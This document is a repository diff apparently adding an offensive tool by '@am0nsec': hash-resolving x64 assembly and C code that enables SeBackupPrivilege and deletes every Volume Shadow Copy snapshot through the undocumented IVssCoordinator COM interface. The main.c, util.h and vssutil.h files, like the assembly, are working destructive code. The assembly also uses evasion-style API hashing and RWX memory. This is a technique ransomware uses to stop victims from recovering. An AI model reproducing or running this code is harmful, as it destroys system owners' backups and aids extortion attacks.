;----------------------------------------------------------------------------------------------------------------------
|
||||
; rsp + 50h - LdrLoadDll
|
||||
; rsp + 58h - RtlAdjustPrivilege
|
||||
; rsp + 60h - CloseHandle
|
||||
; rsp + 68h - ExitProces
|
||||
; rsp + 70h - VirtualProtect
|
||||
; rsp + 78h - CoCreateInstance
|
||||
; rsp + 80h - CoInitializeEx
|
||||
; rsp + 88h - CoInitializeSecurity
|
||||
; rsp + 90h - CoUninitialize
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
mov dword ptr [rsp + 20h], 0fd5649fh ; LdrLoadDll DJB2 hash
|
||||
mov dword ptr [rsp + 24h], 0bf6edb85h ; RtlAdjustPrivilege DJB2 Hash
|
||||
mov dword ptr [rsp + 28h], 0deef8303h ; CloseHandle DJB2 hash
|
||||
mov dword ptr [rsp + 2Ch], 5de7ec9ah ; ExitProces DJB2 Hash
|
||||
mov dword ptr [rsp + 30h], 0e77dd909h ; VirtualProtect DJB2 hash
|
||||
mov dword ptr [rsp + 34h], 0a5121f9ch ; CoCreateInstance DJB2 Hash
|
||||
mov dword ptr [rsp + 38h], 24fb7662h ; CoInitializeEx DJB2 hash
|
||||
mov dword ptr [rsp + 3Ch], 0a982945dh ; CoInitializeSecurity DJB2 Hash
|
||||
mov dword ptr [rsp + 40h], 6473dfc8h ; CoUninitialize DJB2 Hash
|
||||
|
||||
; Get address of LdrLoadDll and RtlAdjustPrivilege
|
||||
xor ecx, ecx ; Number of function to resolve
|
||||
add ecx, 02h ;
|
||||
xor edx, edx ; Module Base
|
||||
mov r8, rsp ; Address of the hashes
|
||||
add r8, 20h ;
|
||||
mov r9, rsp ; Address of the function pointers
|
||||
add r9, 50h ;
|
||||
call ResolveFunctionAddresses ;
|
||||
|
||||
; Get the address of kernel32.dll
|
||||
mov dword ptr [rsp + 0B0h], 0065006bh ; ke
|
||||
mov dword ptr [rsp + 0B4h], 006e0072h ; rn
|
||||
mov dword ptr [rsp + 0B8h], 006c0065h ; el
|
||||
mov dword ptr [rsp + 0BCh], 00320033h ; 32
|
||||
mov dword ptr [rsp + 0C0h], 0064002eh ; .d
|
||||
mov dword ptr [rsp + 0C4h], 006c006ch ; ll
|
||||
mov dword ptr [rsp + 0C8h], 00000000h ; Null terminator
|
||||
|
||||
mov r10, rsp ;
|
||||
add r10, 0A0h + sizeof UNICODE_STRING ; Address of the wide string
|
||||
mov qword ptr [rsp + 0A0h].UNICODE_STRING.Buffer, r10 ;
|
||||
mov dword ptr [rsp + 0A0h].UNICODE_STRING._Length, 18h ; strlen(Buffer)
|
||||
mov dword ptr [rsp + 0A0h].UNICODE_STRING.MaximumLength, 1Ah ; sizeof(Buffer)
|
||||
|
||||
xor rcx, rcx ; PathToFile
|
||||
xor rdx, rdx ; Flags
|
||||
mov r8, rsp ; ModuleFileName
|
||||
add r8, 0A0h ;
|
||||
mov r9, rsp ; ModuleHandle
|
||||
add r9, 0D0h ;
|
||||
mov rax, [rsp + 50h] ; Address of LdrLoadDll
|
||||
call rax ; Call LdrLoadDll function
|
||||
|
||||
; Get address of CloseHandle, ExitProces, VirtualProtect
|
||||
mov rdx, [rsp + 0D0h] ; Module base
|
||||
mov rcx, 03h ; Number of function to resolve
|
||||
mov r8, rsp ; Address of the hashes
|
||||
add r8, 28h ;
|
||||
mov r9, rsp ; Address of the function pointers
|
||||
add r9, 60h ;
|
||||
call ResolveFunctionAddresses ;
|
||||
|
||||
; Loading comebase.dll module
|
||||
mov dword ptr [rsp + 0B0h], 006f0063h ; co
|
||||
mov dword ptr [rsp + 0B4h], 0062006dh ; mb
|
||||
mov dword ptr [rsp + 0B8h], 00730061h ; as
|
||||
mov dword ptr [rsp + 0BCh], 002e0065h ; e.
|
||||
mov dword ptr [rsp + 0C0h], 006c0064h ; dl
|
||||
mov dword ptr [rsp + 0C4h], 0000006ch ; l + Null terminator
|
||||
mov dword ptr [rsp + 0C8h], 00000000h ; 00000000h
|
||||
|
||||
mov r10, rsp ;
|
||||
add r10, 0A0h + sizeof UNICODE_STRING ; Address of the wide string
|
||||
mov qword ptr [rsp + 0A0h].UNICODE_STRING.Buffer, r10 ;
|
||||
mov dword ptr [rsp + 0A0h].UNICODE_STRING._Length, 16h ; strlen(Buffer)
|
||||
mov dword ptr [rsp + 0A0h].UNICODE_STRING.MaximumLength, 18h ; sizeof(Buffer)
|
||||
|
||||
xor rcx, rcx ; PathToFile
|
||||
xor rdx, rdx ; Flags
|
||||
mov r8, rsp ; ModuleFileName
|
||||
add r8, 0A0h ;
|
||||
mov r9, rsp ; ModuleHandle
|
||||
add r9, 0D0h ;
|
||||
mov rax, [rsp + 50h] ; Address of LdrLoadDll
|
||||
call rax ; Call LdrLoadDll function
|
||||
|
||||
; Get address of CoCreateInstance, CoInitializeEx, CoInitializeSecurity, CoUninitialize
|
||||
mov rdx, [rsp + 0D0h] ; Module base
|
||||
mov rcx, 04h ; Number of function to resolve
|
||||
mov r8, rsp ; Address of the hashes
|
||||
add r8, 34h ;
|
||||
mov r9, rsp ; Address of the function pointers
|
||||
add r9, 78h ;
|
||||
call ResolveFunctionAddresses ; Call ResolveFunctionAddresses
|
||||
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
; 2. Make the code segment RWX in order to be able to initialise and exec the
|
||||
; various COM interfaces.
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
lea rcx, Objects ; lpAddress
|
||||
mov rdx, 1000h ; dwSize
|
||||
mov r8, 40h ; flNewProtect
|
||||
lea r9, [rsp + 20h] ; lpflOldProtect
|
||||
mov rax, [rsp + 70h] ; Address of VirtualProtect
|
||||
call rax ; Call VirtualProtect function
|
||||
test eax, eax ;
|
||||
jz _epilogue ;
|
||||
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
; 3. Copy the function pointer in memory.
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
mov rsi, rsp ; Source
|
||||
add rsi, 50h ;
|
||||
mov rdi, [Functions] ; Destination
|
||||
xor ecx, ecx ; Number of function pointers
|
||||
add ecx, 09h ;
|
||||
_function_move_loop:
|
||||
movsq ; Move data
|
||||
loop _function_move_loop ;
|
||||
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
; 4. Ensure that the current thread inpersonation token as the SeBackupPrivilege privilege.
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
xor rcx, rcx ; Privilege
|
||||
add cx, 11h ;
|
||||
xor rdx, rdx ; EnablePrivilege
|
||||
inc dx ;
|
||||
xor r8, r8 ; IsThreadPrivilege
|
||||
mov r9, rsp ; PreviousValue
|
||||
add r9, 20h ;
|
||||
call RtlAdjustPrivilege ; Call RtlAdjustPrivilege
|
||||
test eax, eax ;
|
||||
jnz _epilogue ;
|
||||
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
; 5. Initialise COM context and security context.
|
||||
; Additonally disable structured exception handler.
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
xor ecx, ecx ; pvReserved
|
||||
xor edx, edx ; dwCoInit
|
||||
call CoInitializeEx ; Call CoInitializeEx
|
||||
test eax, eax ;
|
||||
jnz _epilogue ;
|
||||
|
||||
; Initialise COM security context
|
||||
xor ecx, ecx ; pSecDesc
|
||||
mov rdx, 0FFFFFFFFFFFFFFFFh ; cAuthSvc
|
||||
xor r8, r8 ; asAuthSvc
|
||||
xor r9, r9 ; pReserved1
|
||||
mov qword ptr [rsp + 20h], 06h ; dwAuthnLevel
|
||||
mov dword ptr [rsp + 28h], 02h ; dwImpLevel
|
||||
mov qword ptr [rsp + 30h], 00h ; pAuthList
|
||||
mov dword ptr [rsp + 38h], 00h ; dwCapabilities
|
||||
mov dword ptr [rsp + 40h], 00h ; pReserved3
|
||||
call CoInitializeSecurity ; Call CoInitializeSecurity
|
||||
test eax, eax ;
|
||||
jnz _epilogue ;
|
||||
|
||||
; Get the IGlobalOptions interface
|
||||
lea rcx, CLSID_GlobalOptions ; rclsid
|
||||
xor rdx, rdx ; pUnkOuter
|
||||
xor r8, r8 ; dwClsContext (CLSCTX_INPROC_SERVER)
|
||||
inc r8 ;
|
||||
lea r9, IID_GlobalOptions ; riid
|
||||
lea r10, GlobalOptions ; ppv
|
||||
mov qword ptr [rsp + 20h ], r10 ;
|
||||
call CoCreateInstance ; Call CoCreateInstance
|
||||
test eax, eax ;
|
||||
jnz _epilogue ;
|
||||
|
||||
; Disable SEH
|
||||
mov rcx, qword ptr [GlobalOptions] ; This
|
||||
xor edx, edx ; dwProperty
|
||||
inc edx ;
|
||||
xor r8, r8 ; dwValue
|
||||
inc r8 ;
|
||||
mov rax, qword ptr [rcx] ; Address of GlobalOptions::Set
|
||||
call [rax].GlobalOptionsVtbl.Set ; Call GlobalOptions::Set
|
||||
test eax, eax ;
|
||||
jnz _epilogue ;
|
||||
|
||||
; Cleanup
|
||||
mov rax, qword ptr [GlobalOptions] ; Address of GlobalOptions::Release
|
||||
mov rax, qword ptr [rax] ;
|
||||
call [rax].GlobalOptionsVtbl.Release ; Call GlobalOptions::Release
|
||||
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
; 6. Get a valid pointer to a IVssCoordinator COM interface
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
lea rcx, CLSID_VssCoordinator ; rclsid
|
||||
xor edx, edx ; pUnkOuter
|
||||
xor r8, r8 ; dwClsContext (CLSCTX_REMOTE_SERVER | CLSCTX_LOCAL_SERVER)
|
||||
mov r8b, 14h ;
|
||||
lea r9, IID_VssCoordinator ; riid
|
||||
lea r10, [VssCoordinator] ; ppv
|
||||
mov qword ptr [rsp + 20h ], r10 ;
|
||||
call CoCreateInstance ; Call CoCreateInstance
|
||||
test eax, eax ;
|
||||
jnz _epilogue ;
|
||||
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
; 7. Set the context
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
mov rcx, qword ptr [VssCoordinator] ; This
|
||||
mov edx, 0FFFFFFFFh ; p1
|
||||
mov rax, qword ptr [rcx] ; Address of VssCoordinator::SetContext
|
||||
call [rax].VssCoordinatorVtbl.SetContext ; Call VssCoordinator::SetContext
|
||||
test eax, eax ;
|
||||
jnz _epilogue ;
|
||||
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
; 8. Get valid pointer to a IVssEnumObject COM interface
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
mov rcx, qword ptr [VssCoordinator] ; This
|
||||
lea rdx, CLSID_NULL ; p0
|
||||
xor r8, r8 ; p1
|
||||
inc r8 ;
|
||||
xor r9, r9 ; p2
|
||||
add r9, 03h ;
|
||||
lea rax, VssEnumObject ; p3
|
||||
mov qword ptr [rsp + 20h], rax ;
|
||||
mov rax, qword ptr [rcx] ; Address of VssCoordinator::Query
|
||||
call [rax].VssCoordinatorVtbl.Query ; Call VssCoordinator::Query
|
||||
cmp qword ptr [VssEnumObject], 00h ;
|
||||
jz _epilogue ;
|
||||
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
; 9. Parse each entry one by one
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
_vss_object_prop_loop:
|
||||
mov rcx, qword ptr [VssEnumObject] ; This
|
||||
mov rdx, 01h ; celt
|
||||
mov r8, rsp ; rgelt
|
||||
add r8, 50h ;
|
||||
mov r9, r8 ; pceltFetched
|
||||
add r8, 08h ;
|
||||
mov rax, qword ptr [rcx] ; Address of VssEnumObject::Next
|
||||
call [rax].VssEnumObjectVtbl.Next ; Call VssEnumObject::Next
|
||||
|
||||
; Ensure that a structure has been returned
|
||||
cmp al, 01 ; This points to object type
|
||||
je _vss_object_prop_end ;
|
||||
cmp byte ptr [rsp + 50h], 01h ;
|
||||
jne _vss_object_prop_end ;
|
||||
|
||||
; Check the type of the object returned
|
||||
cmp [rsp + 58h]._VSS_OBJECT_PROP.ObjType, 03h ; Check the object type
|
||||
jne _vss_object_prop_loop ;
|
||||
|
||||
; Delete the object
|
||||
mov rcx, qword ptr [VssCoordinator] ; This
|
||||
lea rdx, [rsp + 58h]._VSS_OBJECT_PROP.Snap.m_SnapshotId ; Snapshot GUID to delete
|
||||
mov r8, 03h ; Object type to delte
|
||||
mov r9, 01h ; Number of objects to delete
|
||||
|
||||
mov r11, rsp ;
|
||||
add r11, 58h + sizeof _VSS_OBJECT_PROP ;
|
||||
mov qword ptr [rsp + 20h], r11 ; Out INT
|
||||
add r11, 08h ; Out GUID
|
||||
mov qword ptr [rsp + 28h], r11 ;
|
||||
|
||||
mov rax, qword ptr [rcx] ; Address of VssCoordinator::DeleteSnapshots
|
||||
call [rax].VssCoordinatorVtbl.DeleteSnapshots ; Call VssCoordinator::DeleteSnapshots
|
||||
jmp _vss_object_prop_loop ;
|
||||
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
; A. Uninitialise COM context and exit.
|
||||
;----------------------------------------------------------------------------------------------------------------------
|
||||
_vss_object_prop_end:
|
||||
call CoUninitialize ; Call CoUninitialize
|
||||
|
||||
_epilogue:
|
||||
mov rsp, rbp ;
|
||||
pop rbp ;
|
||||
_exit:
|
||||
mov rcx, 00h ;
|
||||
call ExitProcess ; Exit process
|
||||
xaoc ENDP
|
||||
|
||||
|
||||
; End of file.
|
||||
_TEXT$00 ENDS
|
||||
END
|
||||
@@ -0,0 +1,47 @@
|
||||
/**
|
||||
* @file main.c
|
||||
* @date 05/07/2021
|
||||
* @author Paul L. (@am0nsec)
|
||||
* @version 1.0
|
||||
* @brief
|
||||
* @details
|
||||
* @link
|
||||
* @copyright This project has been released under the GNU Public License v3 license.
|
||||
*/
|
||||
#include <windows.h>
|
||||
#include <stdio.h>
|
||||
|
||||
#include "util.h"
|
||||
#include "vssutil.h"
|
||||
|
||||
INT main() {
|
||||
|
||||
// 1. Ensure that the process token as the SeBackupPrivilege privilege.
|
||||
EXIT_ON_FAILURE(AssertPrivilege());
|
||||
|
||||
// 2. Initialise COM context
|
||||
EXIT_ON_FAILURE(InitialiseProcess());
|
||||
|
||||
// 3. Get the interface
|
||||
IVssCoordinator* pIVssCoordinator = NULL;
|
||||
THROW_ON_FAILURE(CoCreateInstance(
|
||||
&CLSID_CVssCoordinator,
|
||||
NULL,
|
||||
(/*CLSCTX_REMOTE_SERVER |*/ CLSCTX_LOCAL_SERVER),
|
||||
&IID_IVssCoordinator,
|
||||
(LPVOID*)&pIVssCoordinator
|
||||
));
|
||||
THROW_ON_FAILURE(pIVssCoordinator->lpVtbl->SetContext(pIVssCoordinator, -1));
|
||||
|
||||
// 4. Get the IVssEnumObject interface
|
||||
VSS_OBJECT_PROP* pVssSnapshots = NULL;
|
||||
LONG lNumberOfSnapshots = 0x00;
|
||||
|
||||
VssUtilListSnapshots(pIVssCoordinator, &pVssSnapshots, &lNumberOfSnapshots);
|
||||
VssUtilDeleteSnapshots(pIVssCoordinator, pVssSnapshots, lNumberOfSnapshots);
|
||||
|
||||
// xx. Uninitialise COM context and exit.
|
||||
THROW_ON_FAILURE(pIVssCoordinator->lpVtbl->Release(pIVssCoordinator));
|
||||
CoUninitialize();
|
||||
return EXIT_SUCCESS;
|
||||
}
|
||||
@@ -0,0 +1,97 @@
|
||||
/**
|
||||
* @file util.h
|
||||
* @date 05/07/2021
|
||||
* @author Paul L. (@am0nsec)
|
||||
* @version 1.0
|
||||
* @brief
|
||||
* @details
|
||||
* @link
|
||||
* @copyright This project has been released under the GNU Public License v3 license.
|
||||
*/
|
||||
#ifndef __UTIL_H_GUARD__
|
||||
#define __UTIL_H_GUARD__
|
||||
|
||||
#include <Windows.h>
|
||||
|
||||
#define EXIT_ON_FAILURE(exp) \
|
||||
if (FAILED(exp)) { return EXIT_FAILURE; }
|
||||
|
||||
#define THROW_ON_FAILURE(exp) \
|
||||
if (FAILED(exp)) { return E_FAIL; }
|
||||
|
||||
/**
|
||||
* @brief Ensure that the token has the SeBackupPrivilege privilege.
|
||||
* @return Wether the token has the SeBackupPrivilege privilege.
|
||||
*/
|
||||
_Success_(return == S_OK) _Must_inspect_result_
|
||||
HRESULT AssertPrivilege(VOID) {
|
||||
|
||||
// 1. Get handle to the token object.
|
||||
HANDLE hProcess = (HANDLE) -1;
|
||||
HANDLE hToken = INVALID_HANDLE_VALUE;
|
||||
OpenProcessToken(hProcess, TOKEN_QUERY | TOKEN_ADJUST_PRIVILEGES, &hToken);
|
||||
if (hToken == INVALID_HANDLE_VALUE)
|
||||
return E_FAIL;
|
||||
|
||||
// 2. Adjust the token privileges if required.
|
||||
TOKEN_PRIVILEGES TokenPrivileges = { 0x00 };
|
||||
DWORD dwTokenLenght = 0x00;
|
||||
LUID LocalIdentifier = { 0x00 };
|
||||
|
||||
|
||||
if (LookupPrivilegeValueW(NULL, L"SeBackupPrivilege", &LocalIdentifier)) {
|
||||
TokenPrivileges.Privileges[0x0].Luid = LocalIdentifier;
|
||||
TokenPrivileges.Privileges[0x00].Attributes = SE_PRIVILEGE_ENABLED_BY_DEFAULT | SE_PRIVILEGE_ENABLED;
|
||||
TokenPrivileges.PrivilegeCount = 0x01;
|
||||
|
||||
if (!AdjustTokenPrivileges(hToken, FALSE, &TokenPrivileges, 0x00, NULL, &dwTokenLenght)) {
|
||||
CloseHandle(hToken);
|
||||
return E_FAIL;
|
||||
}
|
||||
}
|
||||
|
||||
// 3. Close handle and return.
|
||||
CloseHandle(hToken);
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
/**
|
||||
* @brief Initialise the process to be able to use various COM servers.
|
||||
* @return Whether the process has been successfully initialised.
|
||||
*/
|
||||
_Success_(return == S_OK) _Must_inspect_result_
|
||||
HRESULT InitialiseProcess() {
|
||||
// 1. Initialise COM context
|
||||
THROW_ON_FAILURE(CoInitializeEx(NULL, 0x00));
|
||||
THROW_ON_FAILURE(CoInitializeSecurity(
|
||||
NULL,
|
||||
-1,
|
||||
NULL,
|
||||
NULL,
|
||||
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
|
||||
RPC_C_IMP_LEVEL_IDENTIFY,
|
||||
NULL,
|
||||
EOAC_NONE,
|
||||
NULL
|
||||
));
|
||||
|
||||
// 2. Disable SEH
|
||||
IGlobalOptions* pIGlobalOptions = NULL;
|
||||
THROW_ON_FAILURE(CoCreateInstance(
|
||||
&CLSID_GlobalOptions,
|
||||
NULL,
|
||||
CLSCTX_INPROC_SERVER,
|
||||
&IID_IGlobalOptions,
|
||||
(LPVOID*)&pIGlobalOptions
|
||||
));
|
||||
THROW_ON_FAILURE(pIGlobalOptions->lpVtbl->Set(
|
||||
pIGlobalOptions,
|
||||
COMGLB_EXCEPTION_HANDLING,
|
||||
COMGLB_EXCEPTION_DONOT_HANDLE
|
||||
));
|
||||
pIGlobalOptions->lpVtbl->Release(pIGlobalOptions);
|
||||
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
#endif // !__UTIL_H_GUARD__
|
||||
@@ -0,0 +1,231 @@
|
||||
/**
|
||||
* @file vssutil.h
|
||||
* @date 05/07/2021
|
||||
* @author Paul L. (@am0nsec)
|
||||
* @version 1.0
|
||||
* @brief
|
||||
* @details
|
||||
* @link
|
||||
* @copyright This project has been released under the GNU Public License v3 license.
|
||||
*/
|
||||
#ifndef __VSSUTIL_H_GUARD__
|
||||
#define __VSSUTIL_H_GUARD__
|
||||
|
||||
#include <Windows.h>
|
||||
#include <vss.h>
|
||||
|
||||
/**
|
||||
* @brief GUID of the IVssCoordinator COM interface: da9f41d4-1a5d-41d0-a614-6dfd78df5d05
|
||||
*/
|
||||
CONST IID IID_IVssCoordinator = { 0xda9f41d4, 0x1a5d, 0x41d0, {0xa6, 0x14, 0x6d, 0xfd, 0x78, 0xdf, 0x5d, 0x05} };
|
||||
|
||||
/**
|
||||
* @brief GUID of the CVssCoordinator class: e579ab5f-1cc4-44b4-bed9-de0991ff0623
|
||||
*/
|
||||
CONST IID CLSID_CVssCoordinator = { 0xe579ab5f, 0x1cc4, 0x44b4, {0xbe, 0xd9, 0xde, 0x09, 0x91, 0xff, 0x06, 0x23} };
|
||||
|
||||
typedef interface IVssCoordinator IVssCoordinator;
|
||||
|
||||
typedef struct VssCoordinatorVtbl {
|
||||
BEGIN_INTERFACE
|
||||
|
||||
/**
|
||||
* @brief QueryInterface method from IUnknown
|
||||
*/
|
||||
HRESULT(STDMETHODCALLTYPE* QueryInterface) (
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ REFIID riid,
|
||||
_Out_ PVOID* ppvObject
|
||||
);
|
||||
|
||||
/**
|
||||
* @brief AddRef from IUnknown
|
||||
*/
|
||||
ULONG(STDMETHODCALLTYPE* AddRef)(
|
||||
_In_ IVssCoordinator* This
|
||||
);
|
||||
|
||||
/**
|
||||
* @brief Release from IUnknown
|
||||
*/
|
||||
ULONG(STDMETHODCALLTYPE* Release)(
|
||||
_In_ IVssCoordinator* This
|
||||
);
|
||||
|
||||
/**
|
||||
* /!\
|
||||
* Everything below this line has been extracted via OleView.Net and VSSVC.exe image.
|
||||
* Some of the methods might be wrong
|
||||
* /!\
|
||||
*/
|
||||
HRESULT(STDMETHODCALLTYPE* SetContext)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ LONG p0
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* StartSnapshotSet)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_Out_ GUID* p0
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* AddToSnapshotSet)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ WCHAR* p0,
|
||||
_In_ GUID p1,
|
||||
_Out_ GUID* p2
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* DoSnapshotSet)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ IDispatch* p0,
|
||||
_Out_ IVssAsync** p1
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* GetSnapshotProperties)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ GUID p0,
|
||||
_Out_ VSS_SNAPSHOT_PROP* p1
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* ExposeSnapshot)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ GUID p0,
|
||||
_In_ WCHAR* p1,
|
||||
_In_ LONG p2,
|
||||
_In_ WCHAR* p3,
|
||||
_Out_ WCHAR** p4
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* ImportSnapshots)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ USHORT* p0,
|
||||
_Out_ IVssAsync** p1
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* Query)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ GUID p0,
|
||||
_In_ VSS_OBJECT_TYPE p1,
|
||||
_In_ VSS_OBJECT_TYPE p2,
|
||||
_Out_ IVssEnumObject** p3
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* DeleteSnapshots)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ GUID ShadowCopyID,
|
||||
_In_ VSS_OBJECT_TYPE ObjType,
|
||||
_In_ INT p2,
|
||||
_Out_ LONG* p3,
|
||||
_Out_ GUID* p4
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* BreakSnapshotSet)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ GUID p0
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* RevertToSnapshot)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ GUID p0,
|
||||
_In_ INT p1
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* QueryRevertStatus)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ WCHAR* p0,
|
||||
_Out_ IVssAsync** p1
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* IsVolumeSupported)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ GUID p0,
|
||||
_In_ WCHAR* p1,
|
||||
_Out_ INT* p2
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* IsVolumeSnapshotted)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ GUID p0,
|
||||
_In_ WCHAR* p1,
|
||||
_Out_ INT* p2,
|
||||
_Out_ LONG* p3
|
||||
);
|
||||
HRESULT(STDMETHODCALLTYPE* SetWriterInstance)(
|
||||
_In_ IVssCoordinator* This,
|
||||
_In_ LONG p0,
|
||||
_Out_ GUID* p1
|
||||
);
|
||||
|
||||
END_INTERFACE
|
||||
} VssCoordinatorVtbl;
|
||||
|
||||
interface IVssCoordinator {
|
||||
CONST_VTBL struct VssCoordinatorVtbl* lpVtbl;
|
||||
};
|
||||
|
||||
|
||||
HRESULT VssUtilListSnapshots(
|
||||
_In_ IVssCoordinator* pIVssCoordinator,
|
||||
_Out_ VSS_OBJECT_PROP** ppVssSnapshots,
|
||||
_Out_ LONG* plNumberOfSnapshots
|
||||
) {
|
||||
// 1. Get the IVssEnumObject interface
|
||||
IVssEnumObject* pIVssEnumObject = NULL;
|
||||
THROW_ON_FAILURE(pIVssCoordinator->lpVtbl->Query(
|
||||
pIVssCoordinator,
|
||||
GUID_NULL,
|
||||
VSS_OBJECT_NONE,
|
||||
VSS_OBJECT_SNAPSHOT,
|
||||
&pIVssEnumObject
|
||||
));
|
||||
|
||||
// 2. Get all the snapshots
|
||||
ULONG ulObjects = 0x10;
|
||||
ULONG ulFetchedObjects = 0x00;
|
||||
*ppVssSnapshots = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sizeof(VSS_OBJECT_PROP) * ulObjects);
|
||||
|
||||
THROW_ON_FAILURE(pIVssEnumObject->lpVtbl->Next(
|
||||
pIVssEnumObject,
|
||||
ulObjects,
|
||||
*ppVssSnapshots,
|
||||
plNumberOfSnapshots
|
||||
));
|
||||
|
||||
// 3. Cleanup and return.
|
||||
pIVssEnumObject->lpVtbl->Release(pIVssEnumObject);
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
HRESULT VssUtilDeleteSnapshots(
|
||||
_In_ IVssCoordinator* pIVssCoordinator,
|
||||
_Out_ VSS_OBJECT_PROP* pVssSnapshots,
|
||||
_Out_ LONG lNumberOfSnapshots
|
||||
) {
|
||||
// 1. Get param ready
|
||||
LPWSTR wszShadowCopySetId = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x20 * sizeof(WCHAR));
|
||||
LPWSTR wszShadowCopyId = (LPWSTR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 0x20 * sizeof(WCHAR));
|
||||
|
||||
// 2. Parse all entries
|
||||
while (lNumberOfSnapshots--) {
|
||||
VSS_OBJECT_PROP Element = pVssSnapshots[lNumberOfSnapshots];
|
||||
if (Element.Type != VSS_OBJECT_SNAPSHOT)
|
||||
continue;
|
||||
|
||||
// Get the GUIDs
|
||||
RtlZeroMemory(wszShadowCopySetId, 0x20 * sizeof(WCHAR));
|
||||
RtlZeroMemory(wszShadowCopyId, 0x20 * sizeof(WCHAR));
|
||||
StringFromGUID2(&Element.Obj.Snap.m_SnapshotSetId, wszShadowCopySetId, 0x20 * sizeof(WCHAR));
|
||||
StringFromGUID2(&Element.Obj.Snap.m_SnapshotId, wszShadowCopyId, 0x20 * sizeof(WCHAR));
|
||||
|
||||
// Display information
|
||||
wprintf(L"Delleting following candidate: \n");
|
||||
wprintf(L"\tShadow copy set ID: %s\n", wszShadowCopySetId);
|
||||
wprintf(L"\tShadow copy ID: %s\n\n", wszShadowCopyId);
|
||||
|
||||
// Delete snapshot
|
||||
LONG lSomething = 0x00;
|
||||
GUID SomethingElse = { 0x00 };
|
||||
THROW_ON_FAILURE(pIVssCoordinator->lpVtbl->DeleteSnapshots(
|
||||
pIVssCoordinator,
|
||||
Element.Obj.Snap.m_SnapshotId,
|
||||
VSS_OBJECT_SNAPSHOT,
|
||||
1,
|
||||
&lSomething,
|
||||
&SomethingElse
|
||||
));
|
||||
}
|
||||
|
||||
// 3. Cleanup and return
|
||||
HeapFree(GetProcessHeap(), 0x00, wszShadowCopySetId);
|
||||
HeapFree(GetProcessHeap(), 0x00, wszShadowCopyId);
|
||||
return S_OK;
|
||||
}
|
||||
|
||||
#endif // !__VSSUTIL_H_GUARD__
|
||||
Reference in New Issue
Block a user